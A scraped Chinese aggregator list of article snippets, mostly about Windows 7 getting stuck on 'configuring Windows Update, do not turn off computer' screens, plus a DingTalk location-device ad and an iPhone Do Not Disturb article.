    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  35. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  36. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  37. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  38. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  39. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  40. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  41. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  42. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  43. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  44. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57